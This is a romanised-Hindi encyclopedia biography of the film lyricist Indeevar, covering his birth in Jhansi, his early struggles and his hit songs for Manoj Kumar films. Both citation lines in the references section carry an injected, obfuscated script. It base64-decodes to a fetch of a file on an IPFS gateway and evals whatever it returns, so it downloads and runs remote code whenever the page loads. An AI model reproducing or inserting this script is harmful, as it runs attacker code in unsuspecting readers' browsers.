इन्दीवर
shyamalal baboo ray urf indivar (aangrezi: Indeevar; janm- 15 agast, 1924, jhaansi, uttar pradesh; mrityu- 27 faravari, 1997, mumbee) bharat ke prasiddh gitakaroan mean gine jate the. inake likhe sadabahar git aj bhi usi shidhdat v ehasas ke sath sune v gae jate haian, jaise vah pahale sune v gae jate the. iandivar ji ne char dashakoan mean lagabhag ek hazar git likhe, jinamean se kee yadagar gane filhmoan ki supar-dupar saphalata ke karan bane. jiandagi ke anajane safar se behad pyar karane vale hindi sinema jagat ke mashahoor shayar aur gitakar iandivar ka jivan ke prati nazariya unaki likhi huee in panktiyoan- "ham chho d chale haian mahafil ko, yad ae kabhi to mat rona" mean samaya hua hai.
janm
prasiddh gitakar indivar ka janm uttar pradesh ke jhaansi janapad mukhhyalay se bis kilomitar poorv ki or shthit baroova sagar kashbe mean 'kalar' jati ke ek nirdhan parivar mean 15 agast, 1924 ee. mean hua tha. apaka mool nam 'shhyamalal baboo ray' tha. desh ke 'shvatantrata sangram anhdolan' mean sakriy bhag lete hue inhoanne shhyamalal baboo ‘azad' nam se kee desh bhakhti ke git bhi apane praramhbhik dinoan mean likhe the.[1]
prarambhik sangharsh
bachapan ke dinoan se hi iandivar gitakar banane ka sapana dekha karate the aur apane isi sapane ko poora karane ke liye vah muanbee a gaye the. bataur gitakar sabase pahale varsh 1946 me pradarshit philm 'dabal kr aaus' mean unhean kam karane ka mauka mila, lekin philm ki asaphalata se vah kuchh khas pahachan nahi bana pae. apane vajood ko talashate iandivar ko bataur gitakar pahachan banane ke liye lagabhag 5 varsh tak philm iandastri me sangharsh karana p d़a. is dauran unhoanne kee 'bi' aur 'si gred' ki philme bhi ki. varsh 1951 me pradarshit philm 'malhar' ki kamayabi se bataur gitakar kuchh had tak vah apani pahachan banane me saphal ho ge. philm 'malhar' ka git "b de aramanoan se rakha hai balam teri kasam..." shrotaoan ke bich aj bhi lokapriy hai.
saphalata
varsh 1963 mean baboo bhaee mistri ki sangitamay philm 'parasamani' ki saphalata ke bad iandivar shoharat ki buanladiyo par ja pahuanche. iandivar ke sine kairiyar mean unaki jo di nirmata-nirdeshak manoj kumar ke sath bahut khoob jami. manoj kumar ne sabase pahale iandivar se philm 'upakar' ke liye git likhane ki peshakash ki. kalyanaji-anandaji ke sangit nirdeshan me philm 'upakar' ke lie iandivar ne "kasme vade pyar vapha..." jaise dil ko chhoo lene vale git likhakar shrotaoan ko bhavavibhor kar diya. isake alava manoj kumar ki philm 'poorab aur pashchim' ke liye bhi iandivar ne "dulhan chali vo pahan chali" aur "koee jab tumhara hriday to d de" jaise sadabahar git likhakar apana alag hi samaan baandha. iandivar ke sine kairiyar me sangitakar jo di kalyanaji-anandaji ke sath unaki khoob jami. "chho d de sari duniya kisi ke liye...", "chandan sa badan..." aur "maian to bhool chali babul ka desh..." jaise iandivar ke likhe n bhoolane vale gitoan ko kalyanaji-anandaji ne sangit diya.[2]
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tika tippani aur sandarbh
- ↑ gitakar indivar (hindi). . abhigaman tithi: 04 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ indivar parichay (hindi). . abhigaman tithi: 04 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh